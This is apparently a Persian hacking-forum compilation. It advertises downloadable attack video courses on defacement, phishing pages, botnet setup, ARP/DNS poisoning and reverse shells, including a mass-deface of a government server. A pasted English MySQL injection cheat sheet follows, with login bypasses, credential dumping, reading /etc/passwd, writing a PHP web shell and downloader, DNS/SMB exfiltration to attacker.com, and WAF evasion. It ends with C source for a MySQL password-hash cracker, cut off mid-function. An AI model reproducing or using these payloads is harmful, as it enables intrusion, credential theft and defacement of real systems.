برنامه OWASP DirBuster یکی از برنامه های بروت فورس برای پیدا کردن آدرس های مخفی سایت !

قابلیت دادن لیست برای بروت فورس کردن / بروت فورس کردن بصورت اتوماتیک (خودش آدرس ها رو میسازه) / بیرون کشیدن فایل ها و فولدر های سایت / اضافه کردن پراکسی /ساپورت کردن http & https و ….

آموزش کامل مدیریت شبکه های بیسیم - 4.5 گیگابایت

شاید کلمه لاتین VPS زیاد به گوشتان خورده باشد. این کلمه، مخفف عبارت Virtual Private Server است که امروزه برای مدیران سرورها کاربرد بسیاری دارد. سرور مجازی در واقع، جزئی از یک سرور اختصاصی و مجزا است که هر کدام از این سرورهای مجازی می توانند به صورت مستقل و مجزا، در شبکه محلی یا در بستر اینترنت، خدمات رسانی کنند. در سرورهای مجازی، شما با تقسیم سخت افزار یک سرور قدرتمند و واقعی، به چندین قسمت و با نصب یک سیستم عامل مجزا در هر کدام از قسمت ها، آن سرور قدرمتمند را به چندین سرور مجازی مستقل تبدیل می نمائید. از معروفترین نرم افزارهایی که برای این امر، کاربرد بسیاری دارد، نرم افزار VMware می باشد. به همین دلیل در این پست، آموزش این نرم افزار را بصورت فیلم آموزشی برای کاربران عزیز پاتوق یو مهیا نموده ایم.

دانلود فايل
حجم فایل: 328.5 مگابایت
پسورد فایل : www.patoghu.com

پک آموزشی حدود 80-81 فیلم گلچین از آرشیو فیلم های نفوذ به سرور و سایت:

exe to html:

دانلود Small Office Networking to Connect, Share, and Print - آموزش ایجاد و مدیریت شبکه های کامپیوتری کوچک

فیلم آموزشی تست نفوذ و بررسی آسیب پذیری شبکه

فیلم های آموزشی هک به زبان فارسی (با صدا):

مجموعه عظیم و ارزشمند کلیپ های ویدئویی آموزش هک به زبان فارسی که توسط گروه های مختلف امنیتی ایران ساخته شده و حجم آنها حدود ۱۰ گیگابایت است را با کیفیت بالا می توانید در ۳۰۰ مگابایت برای اولین بار در مرجع تخصصی برنامه نویسی دانلود کنید.این مجموعه که توسط خودم جمع آوری شده شامل کلیپ های آموزش مباحث زیر در هک و امنیت می باشد: - چندین کلیپ آموزش هک ADSL و روتر - آموزش دستورات CMD - آموزش ساخت صفحه تقلبی (Fake Page) و استفاده از آن - آموزش کامل SQL Inject - آموزش هک یاهو آیدی - آموزش هک وب سرور - آموزش netcat - آموزش هک Cpanel - آموزش کامل اسکن کردن سایت با acunetix - آموزش پیدا کردن آی پی کاربر در حالت های مختلف - آموزش کار با netbios - آموزش کار با Metasploit - آموزش هک کردن از طریق Sql & Xss - آموزش دیفیس کردن صفحات asp - آموزش کامل کار با KeyLogger همراه با یک KeyLogger حرفه ای - آموزش کار با نرم افزار cain - آموزش کار با Havij - آموزش پیدا کردن صفحه Login یه سایت - آموزش هک وردپرس - آموزش هک VBulletin - آموزش هک کلاینت (Client) - آموزش هک ویندوز سرور و ده ها ویدئوی آموزشی دیگر….. حجم کل این مجموعه حدود ۱۰ گیگابایت بود که با فرمت EXE فشرده کردم و به طور عجیبی به ۳۰۰ مگابایت رسید! پسورد فایل: www.ehsanavr.com

مجموعه کاملترین آموزش هک به زبان فارسی (۳۰۹MB)

http://ehsanavr.com/wp-content/plugins/download-monitor/download.php?id=Learning_Hack_10GB_Video.exe

تصمیم دارم مجموعه فیلم های آموزش کامل هک که به زبان فارسی و همراه با صدا است را برای دانلود در سایت قرار دهم.این مجموعه شامل ۲۱ قطعه ویدئو (با کیفیت عالی) با حجم حدود ۱۵۰۰ مگابایت که در این پست قسمت اول و دوم و سوم آن را برای دانلود قرار داده ام. این مجموعه برای اولین بار است که برای دانلود قرار داده می شود و فروشی است.پیشنهاد می کنم کسانی که به سی دی های آن دسترسی دارند،جهت حمایت از تولید کنندگان،آن را به صورت اورجینال تهیه کنند.

تمامی کلیپ ها فارسی،همراه با صدا و با کیفیت عالی می باشد. در پایان از دوست خوبم امین رستمی که زحمت آپلود این مجموعه رو کشیدند،تشکر می کنم. پسورد فایل: www.ehsanavr.com

فیلم آموزش هک به زبان فارسی-قسمت ۱ و ۲ و ۳ (۹۳MB)

۵ مجموعه فیلم های آموزش هک رو برای دانلود قرار دادم. تمامی کلیپ ها فارسی،همراه با صدا و با کیفیت عالی می باشد. در پایان از دوست خوبم امین رستمی که زحمت آپلود این مجموعه رو کشیدند،تشکر می کنم. پسورد فایل: www.ehsanavr.com

قسمت ۶ و ۷ مجموعه فیلم های آموزش هک به زبان فارسی را می توانید در این پست دانلود کنید. تمامی کلیپ ها فارسی،همراه با صدا و با کیفیت عالی می باشد. در پایان از دوست خوبم امین رستمی که زحمت آپلود این مجموعه رو کشیدند،تشکر می کنم. پسورد فایل: www.ehsanavr.com

سمت هشتم و نهم مجموعه فیلم آموزشی هک به زبان فارسی را می توانید در ادامه این پست دانلود کنید. تمامی کلیپ ها فارسی،همراه با صدا و با کیفیت عالی می باشد. در پایان از دوست خوبم امین رستمی که زحمت آپلود این مجموعه رو کشیدند،تشکر می کنم. پسورد فایل: www.ehsanavr.com

قسمت دهم مجموعه فیلم آموزشی هک به زبان فارسی را می توانید در ادامه این پست دانلود کنید. تمامی کلیپ ها فارسی،همراه با صدا و با کیفیت عالی می باشد. پسورد فایل: www.ehsanavr.com

قسمت ۱۱ تا ۱۷ مجموعه فیلم آموزشی هک به زبان فارسی را می توانید در ادامه این پست دانلود کنید. تمامی کلیپ ها فارسی،همراه با صدا و با کیفیت عالی می باشد. پسورد فایل: www.ehsanavr.com

قسمت ۱۸ تا آخر یعنی قسمت ۱۸ مجموعه فیلم آموزشی هک به زبان فارسی را می توانید در ادامه این پست دانلود کنید. تمامی کلیپ ها فارسی،همراه با صدا و با کیفیت عالی می باشد. پسورد فایل: www.ehsanavr.com

reverse IP

http://www.yougetsignal.com/tools/web-sites-on-web-server/

WebSiteSniffer

http://s1.picofile.com/file/7348719565/sql_injection_pc_amoozesh_blogsky_com_majid.rar.html

مجموعه دستورات کامل کلیه زبانهای برنامه نویسی تحت وب

شاید برای شما هم پیش آمده باشه که در برنامه نویسی دستوری رو فراموش و یا حضور ذهن ندارید .این مجموعه شامل تمام دستورات زبانهای برنامه نویسی تحت وب می باشد که ما آنها را در چند نسخه فایل پی دی اف گرده هم آورده ایم این دستورات شامل: HTML- CSS - CSS2 -CSS3 - ASP - Action Script -HTML5 - XHTML - javascript -jQuery -MySql - PHP -SEO

این فایل شامل 20 کتاب با موضوع زبان های برنامه نویسی و تحت وب مختلف می باشد.

http://download.netqurd.com/Ebook/Programming/Heavy Programm Accelerate [www.netqurd.com].rar

در این فیلم با نحوه بایپس کردن (Page : The page you have requested could not be found. (404 در Admin Page جوملا آشنا خواهید شد، هکر از طریق دو پلاگین، jsecure و jhackguard این کار را انجام می دهد .

در این فیلم با نحوه فول دیفیس کردن یک سایت که از سیستم وردپرس استفاده می کند آشنا خواهید شد، هکر از طریق خواندن فایل کانفیگ، به دیتابیس سایت وصل می شود و پسورد ادمین را عوض می کند و ... در نهایت هدف را فول دیفیس می کند .

در این فیلم با نحوه بروت فورس کردن وردپرس از طریق اسکنر acunetix آشنا خواهید شد، این نوع حملات یکی از بهترین روش ها برای کرک کردن پسورد ها می باشند که در خیلی از سایت ها دیده شده است. در این فیلم هکر ابتدا سایت هدف را با اسکنر acunetix، اسکن و بعد آسیب پذیری را مشخص می کند، و در ادامه یوزرنیم و پسورد، ادمین را پیدا می کند.

در این فیلم شما با حملات UnFiltered Header Injection آشنا خواهید شد، این نوع حملات ساده و ترکیبی میباشند که در خیلی از سایت ها دیده شده است. در این فیلم هکر ابتدا سایت هدف را با اسکنر acunetix پویش و آسیب پذیری را مشخص میکند، و در ادامه کد مورد نظر را تزریق میکند.

در این فیلم هکر با استفاده از ابزار Websploit که توسط سازنده فیلم نشسته شده است، هکر با دو روش MFOD و Java Apllet به سیستم قربانی نفوذ میکند، و در انتها از سیستم مورد نفوذ قرار گرفته شل میگیرد.

این فیلم هک کامل یک سرور لینوکس را از مرحله اول تا به ثبت رسانی در سایت zone-h به شما آموزش میدهد. هکر ابتدا از سرور هدف که یک سرور دولتی میباشد دسترسی ایجاد کرده و یوزر خود را به Root ارتقاء میدهد، در ادامه لیستی از سایت هایی که روی سرور قرار دارند تهیه کرده و اقدام به Mass Deface میکند و در انتها با استفاده از یک اسکریپت تمام سایت ها را در سایت زون اچ ثبت میکند، فیلم خوبی تهیه شده و جواب خیلی از متدهای متداول سرور هکینگ را در این فیلم خواهید یافت.

در این فیلم هکر از یک سرور ویندوزی که نفوذ کرده و دسترسی دارد شل معکوس خواهد گرفت، روال مثل سرورهای لینوکسی میباشد، ابتدا NC را در سیستم خود فال گوش گذاشته و از پورت مورد نظر شل معکوس را میفرستد، این فیلم توسط دوست عزیزم izo ساخته شده که یکی از هکرهای خوب ترکیه میباشد. جرئیات را در فیلم مشاهده کنید

در این فیلم هک کلاینت با برنامه Armitage آموزش داده شده است، هکر با استفاده از این برنامه ابتدا سیستم قربانی را اسکن کرده و پورت های باز را مشخص میکند که در این فیلم پورت 445 میباشد، بعد از آنالیز کردن پورت 445 توسط برنامه، سیستم قربانی را اکسپلویت کرده و از آن شل و دسترسی میگیرد و کارهایی از قبیل تست برای دیدن وبکم و یا آپلود کردن فایل در سیستم قربانی، اتصال به Remote Desktop و... که میتوانید از فیلم مشاهده کنید

فیلم، بایپس کردن فایروال سرور هنگام SQL Injection

حتما در موقع تزریق SQL با خطای Forbidden مواجه شده اید، یعنی وقتی کد مورد نظر را تزریق میکنید سرور اجازه این کار را به شما نمیدهد

در این فیلم آموزشی هکر با استفاده از ابزار hydra به مودم هایی که در رنج آی پی خود قرار دارند حمله میکند، که منظور از حمله عمل brute force میباشد

شما با این روش میتوانید کار های زیادی انجام بدهید، مثل BF کردن پسورد سایت هایی که از .htaccess برای پسورد گذاری صفحات خاص استفاده کرده اند و...

در این آموزش شما با نحوه ی هک پسورد ویندوز سون و ریکاوری اون آشنا میشید

در این فیلم هکر DSN را مسموم کرده و صفحه ای قلابی برای قربانی ها در شبکه ارسال میکند، قربانی به هر صفحه ای مراجغه کند (در این فیلم گوگل) به Ip هکر Redirect خواهد شد.

در ادامه که هکر با آسیب پذیری جاوا منتظر نشسته، قربانی به دام او افتاده و payload هکر را اجرا میکند

فیلم، هک اکانت فیسبوک با روش Fake Page - Password Phishing

آموزش نصب و راه اندازی بات نت N0PE
در این فیلم شما با نصب و پیکربندی باتنت N0PE آشنا خواهید شد

فیلم، آموزش قدم به قدم SQL INJECTION در 10 قسمت

- پیدا کردن سایت های آسیب پذیر و تست آسیب پذیری در سایت ها

- به دست آوردن اطلاعاتی در مورد User , Database , Version به همراه بایپس

- آشنایی با دستورات Concat ,Concat_Ws ,Group_Concat در mysql های ورژن های 4x.x

- بدست آوردن table ها column ها با استفاده از دستور Group_Concat

- استفاده از دستور Where و توضیحاتی در مورد مواقع استفاده از توابع Hex و CHAR

- نحوه استفاده از دستور load_file و تست باگ RFI + آموزش Run کردن شل با باگ RFI

فیلم، آموزش قدم به قدم هک، سایت بدون باگ

در این فیلم،شما با آموزش قدم به قدم هک، سایت بدون باگ آشنا خواهید شد . گاهی وقت ها پیش می آید که " Target " ما بدون باگ باشه و ما مجبور شویم که سایت های دیگر سرور رو برسی کنیم . در این فیلم آموزشی، هکر یک دورک را برای آسیب پذیری sql انتخاب کرده است و از طریق این دورک و پیدا کردن سایت آسیب پذیر و ... تا فول دیفیس سایت بدون باگ و ثبت در zone-h پیش می رود .

آموزش ساخت موتور جستجوگر

dns hacking اموزش هک dns

فیلم، آموزش هک وایرلس ( WEP )

- نیازی به نوشتن کد نیست. ( فقط به فیلم دقت کنید ) .

فیلم دیفیس کردن یک سایت که از سیستم وردپرس استفاده می کند.

فیلم، ADSL Hacking Via Telnet

در این فیلم هکر اکانت های adsl را هک میکند، با telnet به سیستم قربانی نفوذ کرده و اطلاعات adsl قربانی را مشخص میکند.

و در انتها به شما آموزش میدهد که چگونه مواظب اکانت های adsl خود باشید و سیستم خود را امن نگه دارید.

فیلم مسموم کردن Arp توسط برنامه cain & abel تحت ویندوز

در این فیلم هکر با استفاده از برنامه cain & able سعی در مسموم سازی Arp دارد و در انتها یوزر و پسورد قربانی فرضی را به دست می آورد.

در این فیلم آموزشی با روش KillVictimConnectionViaEtterCap که باعث خروج کلاینت از اینترنت می شود، آشنا می شوید.

پک آموزشي حدود 80-81 فيلم گلچين از آرشيو فيلم هاي نفوذ به سرور و سايت که از اينور و اونور جمع آوري شده

MySQL

Default Databases

mysql	Requires root privileges
information_schema	Availalble from version 5 and higher

Testing Injection

False means the query is invalid (MySQL errors/missing content on website)

True means the query is valid (content is displayed as usual)

Given the query


								SELECT * FROM Table WHERE id = '1';

'	False
''	True
"	False
""	True
\	False
\\	True

Example:

SELECT * FROM Articles WHERE id = '1''';
SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2';

Note:

You can use as many apostrophes and quotations as you want as long as they pair up.

It is also possible to continue the statement after the chain of quotes.

Quotes escape quotes.

Given the query


								SELECT * FROM Table WHERE id = 1;

AND 1	True
AND 0	False
AND true	True
AND false	False
1-false	Returns 1 if vulnerable
1-true	Returns 0 if vulnerable
1*56	Returns 56 if vulnerable
1*56	Returns 1 if not vulnerable

Example:

SELECT * FROM Users WHERE id = 3-2;

Note:

true is equal to 1.

false is equal to 0.

Given the query


								SELECT * FROM Table WHERE username = '';

' OR '1

' OR 1 -- -

" OR "" = "

" OR 1 = 1 -- -

'='

'LIKE'

'=0--+

Example:

SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';

Comment Out Query

The following can be used to comment out the rest of the query after your injection:

#	Hash comment
/*	C-style comment
-- -	SQL comment
;%00	Nullbyte
`	Backtick

Examples:

SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

Note:

The backtick can only be used to end a query when used as an alias.

Testing Version

VERSION()
@@VERSION
@@GLOBAL.VERSION

Example:

True if MySQL version is 5.
SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';

Note:

Output will contain -nt-log in case the DBMS runs on a Windows based machine.

Database Credentials

Table	mysql.user
Columns	user, password
Current User	user(), current_user(), current_user, system_user(), session_user()

Examples:

SELECT current_user;
SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)

Database Names

Tables	information_schema.schemata, mysql.db
Columns	schema_name, db
Current DB	database(), schema()

Examples:

SELECT database();
SELECT schema_name FROM information_schema.schemata;
SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)

Server Hostname

@@HOSTNAME

Example:

SELECT @@hostname;

Server MAC Address

The Universally Unique Identifier is a 128-bit number where the last 12 digits are formed from the interfaces MAC address.

UUID()

Output:

aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee;

Note:

May return a 48-bit random string instead of the MAC address on some Operating Systems.

Tables and Columns


								ORDER BY n+1;

Note:

Keep incrementing the number until you get a False response.

Example:

Given the query SELECT username, password, permission FROM Users WHERE id = '1';

1' ORDER BY 1--+	True
1' ORDER BY 2--+	True
1' ORDER BY 3--+	True
1' ORDER BY 4--+	False - Query is only using 3 columns
-1' UNION SELECT 1,2,3--+	True


								AND (SELECT * FROM SOME_EXISTING_TABLE) = 1

Note:

This works if you know the table name you're after and error showing is enabled.

It will return the amount of columns in the table, not the query.

Example:

Given the query SELECT permission FROM Users WHERE id = 1;

AND (SELECT * FROM Users) = 1

Operand should contain 3 column(s)

Retrieving Tables

UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;

AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'

AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2)))

(@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0);

AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));-- Available in 5.1.5

Note:

version=9 for MySQL 4

version=10 for MySQL 5

Retrieving Columns

UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'

AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'

AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2)))

(@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0);

AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- Available in MySQL 5.1.5

AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- Fixed in MySQL 5.1

AND (SELECT * FROM (SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b) a)

AND (SELECT * FROM (SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b USING (SOME_EXISTING_COLUMN)) a)


								PROCEDURE ANALYSE()

Note:

It is necessary for the web app to display the one of the selected columns in the SQL query you are injecting to.

Example:

Given the query SELECT username, permission FROM Users WHERE id = 1;

1 PROCEDURE ANALYSE()	Get the first column's name
1 LIMIT 1,1 PROCEDURE ANALYSE()	Get the second column's name
1 LIMIT 2,1 PROCEDURE ANALYSE()	Get the third column's name

Retrieving Multiple Tables/Columns at once

SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x

Example:

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';

Output:

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED

SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns

Example:

SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns--+';

Output:

Table: talk_revisions
Column: revid

Table: talk_revisions
Column: userid

Table: talk_revisions
Column: user

Table: talk_projects
Column: priority

Find Tables from Column Name

SELECT table_name FROM information_schema.columns WHERE column_name = 'username';	Finds the table names for any columns named username.
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';	Finds the table names for any columns that contain the word user.

Find Columns from Table Name

SELECT column_name FROM information_schema.columns WHERE table_name = 'Users';	Finds the columns for the Users table.
SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%';	Finds the column names for any tables that contain the word user.

Find out current query

SELECT info FROM information_schema.processlist

Available starting from MySQL 5.1.7.

Avoiding the use of quotations

SELECT * FROM Users WHERE username = 0x61646D696E	Hex encoding.
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)	CHAR() Function.

String Concatenation

SELECT 'a' 'd' 'mi' 'n';

SELECT CONCAT('a', 'd', 'm', 'i', 'n');

SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');

SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

Note:

CONCAT() will return NULL if any of its arguements is NULL. Instead use CONCAT_WS() .

The first argument of CONCAT_WS() defines the separator for the rest of its arguments.

Conditional Statements

CASE

IF()

IFNULL()

NULLIF()

Example:

SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;

Timing

SLEEP()	MySQL 5
BENCHMARK()	MySQL 4/5

Example:

' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

Privileges

File Privileges

The following queries can help determine the FILE privileges for a given user.

SELECT file_priv FROM mysql.user WHERE user = 'username';	Root privileges required	MySQL 4/5
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%';	No privileges required	MySQL 5

Reading Files

Files can be read if the user has FILE privileges.

LOAD_FILE()

Example:

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);

Note:

File must be located on the server host.

The basedirectory for LOAD_FILE() is @@datadir .

The file must be readable by the MySQL user.

The file size must be less than max_allowed_packet.

The default size for @@max_allowed_packet is 1047552 bytes.

Writing Files

Files can be created if the user has FILE privileges.

INTO OUTFILE/DUMPFILE

Examples:

To write a PHP shell:
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

and then access it at:
http://localhost/shell.php?c=cat%20/etc/passwd

To write a downloader:
SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'

and then access it at:
http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt

Note:

Files cannot be overwritten with INTO OUTFILE .

INTO OUTFILE must be the last statement in the query.

There is no way to encode the pathname, so quotes are required.

Out Of Band Channeling

DNS Requests

SELECT LOAD_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\'));

SMB Requests

' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt

Stacked Queries

Stacked queries are possible with MySQL depending on which driver is being used by the PHP application to communicate with the database.

The PDO_MYSQL driver supports stacked queries. The MySQLi (Improved Extension) driver also supports stacked queries through the multi_query() function.

Examples:

SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin');
SELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;

MySQL-specific code

MySQL allows you to specify the version number after the exclamation mark. The syntax within the comment is only executed if the version is greater or equal to the specified version number.

Examples:

UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+
SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);

Note:

The first example returns the version; it uses a UNION with 2 columns.

The second example demonstrates how this can be useful for bypassing a WAF/IDS.

Fuzzing and Obfuscation

Allowed Intermediary Characters

The following characters can be used as whitespaces.

09	Horizontal Tab
0A	New Line
0B	Vertical Tab
0C	New Page
0D	Carriage Return
A0	Non-breaking Space
20	Space

Example:

'%0A%09UNION%0CSELECT%A0NULL%20%23

Parentheses can also be used to avoid the use of spaces.

28	(
29	)

Example:

UNION(SELECT(column)FROM(table))

Allowed Intermediary Characters after AND/OR

20	Space
2B	+
2D	-
7E	~
21	!
40	@

Example:

SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

Note:

dual is a dummy table which can be used for testing.

Obfuscating with Comments

Comments can be used to break up the query to trick the WAF/IDS and avoid detection. By using # or -- followed by a newline, we can split the query into separate lines.

Example:

1'#
AND 0--
UNION# I am a comment!
SELECT@tmp:=table_name x FROM--
`information_schema`.tables LIMIT 1#

URL Encoded the injection would look like:

1'%23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23

Certain functions can also be obfuscated with comments and whitespaces.

VERSION/**/%A0 (/*comment*/)

Encodings

Encoding your injection can sometimes be useful for WAF/IDS evasion.

URL Encoding	SELECT %74able_%6eame FROM information_schema.tables;
Double URL Encoding	SELECT %2574able_%256eame FROM information_schema.tables;
Unicode Encoding	SELECT %u0074able_%u6eame FROM information_schema.tables;
Invalid Hex Encoding (ASP)	SELECT %tab%le_%na%me FROM information_schema.tables;

Avoiding Keywords

If an IDS/WAF has blocked certain keywords, there are other ways of getting around it without using encodings.

information_schema.tables

Spaces	information_schema . tables
Backticks	`information_schema`.`tables`
Specific Code	/!information_schema.tables/
Alternative Names	information_schema.partitions information_schema.statistics information_schema.key_column_usage information_schema.table_constraints

Note:

The alternate names may depend on a PRIMARY Key being present in the table.

Operators

`AND`, `&&`	Logical AND
`=`	Assign a value (as part of a `SET` statement, or as part of the `SET` clause in an `UPDATE` statement)
`:=`	Assign a value
`BETWEEN ... AND ...`	Check whether a value is within a range of values
`BINARY`	Cast a string to a binary string
`&`	Bitwise AND
`~`	Invert bits
`\|`	Bitwise OR
`^`	Bitwise XOR
`CASE`	Case operator
`DIV`	Integer division
`/`	Division operator
`<=>`	NULL-safe equal to operator
`=`	Equal operator
`>=`	Greater than or equal operator
`>`	Greater than operator
`IS NOT NULL`	NOT NULL value test
`IS NOT`	Test a value against a boolean
`IS NULL`	NULL value test
`IS`	Test a value against a boolean
`<<`	Left shift
`<=`	Less than or equal operator
`<`	Less than operator
`LIKE`	Simple pattern matching
`-`	Minus operator
`% or MOD`	Modulo operator
`NOT BETWEEN ... AND ...`	Check whether a value is not within a range of values
`!=`, `<>`	Not equal operator
`NOT LIKE`	Negation of simple pattern matching
`NOT REGEXP`	Negation of REGEXP
`NOT`, `!`	Negates value
`\|\|`, `OR`	Logical OR
`+`	Addition operator
`REGEXP`	Pattern matching using regular expressions
`>>`	Right shift
`RLIKE`	Synonym for REGEXP
`SOUNDS LIKE`	Compare sounds
`*`	Multiplication operator
`-`	Change the sign of the argument
`XOR`	Logical XOR

Constants

current_user

null, \N

true, false

Password Hashing

Prior to MySQL 4.1, password hashes computed by the PASSWORD() function are 16 bytes long. Such hashes look like this:

PASSWORD('mypass')

6f8c114b58f2ce9e

As of MySQL 4.1, the PASSWORD() function has been modified to produce a longer 41-byte hash value:

PASSWORD('mypass')

*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4

Password Cracking

Cain & Abel and John the Ripper are both capable of cracking MySQL 3.x-6.x passwords.

A Metasploit module for JTR can be found here.

MySQL < 4.1 Password Cracker

This tool is a high-speed brute-force password cracker for MySQL hashed passwords. It can break an 8-character password containing any printable ASCII characters in a matter of hours on an ordinary PC.

/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
  int i, c;
  u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
  u32 newstate1, newstate2, newstate3;
  u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
  u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
  i = -1;
  sum = 7;
  state1_ary[0] = 1345345333L;
  state2_ary[0] = 0x12345671L;

  while (1) {
    while (i < stop) {
      i++;
      pass_ary[i] = MIN_CHAR;
      step_ary[i] = (state1_ary[i] & 0x3f) + sum;
      xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
      sum += MIN_CHAR;
      state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
      state2_ary[i+1] = state2_ary[i]
        + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
    }

    state1 = state1_ary[i+1];
    state2 = state2_ary[i+1];
    step = (state1 & 0x3f) + sum;
    xor1 = step*MIN_CHAR + (state1 << 8);
    xor2 = (state2 << 8) ^ state1;

    for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
      newstate2 = state2 + (xor1 ^ xor2);
      newstate1 = state1 ^ xor1;

      newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
      div = (newstate1 & 0x3f) + sum + c;
      diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
      if (diff % div != 0) continue;
      d = diff / div;
      if (d < MIN_CHAR || d > MAX_CHAR) continue;

      div = (newstate3 & 0x3f) + sum + c + d;
      diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
      if (diff % div != 0) continue;
      e = diff / div;
      if (e < MIN_CHAR || e > MAX_CHAR) continue;

      pass_ary[i+1] = c;
      pass_ary[i+2] = d;
      pass_ary[i+3] = e;
      return 1;
    }

    while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
      sum -= MAX_CHAR;
      i--;
    }
    if (i < 0) break;
    pass_ary[i]++;
    xor_ary[i] += step_ary[i];
    sum++;
    state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
    state2_ary[i+1] = state2_ary[i]
      + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
  }

  return 0;
}

void crack(char *hash)
{
  int i, len;
  u32 targ1, targ2, targ3;
  int pass[MAX_LEN];

